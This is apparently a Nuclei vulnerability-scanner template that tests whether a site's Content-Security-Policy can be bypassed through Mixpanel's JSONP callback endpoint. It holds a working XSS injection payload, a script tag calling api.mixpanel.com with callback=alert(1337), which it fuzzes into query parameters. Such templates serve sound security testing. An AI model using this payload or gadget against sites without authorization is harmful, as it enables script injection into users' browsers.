id: mixpanel-api-csp-bypass

info:
  name: Content-Security-Policy Bypass - Mixpanel API
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,mixpanel-api

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "mixpanel.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: mixpanel_api_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://api.mixpanel.com/track/?callback=alert(1337)"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "mixpanel_api_csp_xss == true"
# digest: 490a0046304402207a665d10aebaf63aaf6606a2aa8ec49b1c6cb092645aeb635452f881b19f847f022021665c4d6eb94a2a9a01dbab00bec40aa6c08c1f260ee675473acb1f0073af76:922c64590222798bb761d5b6d8e72950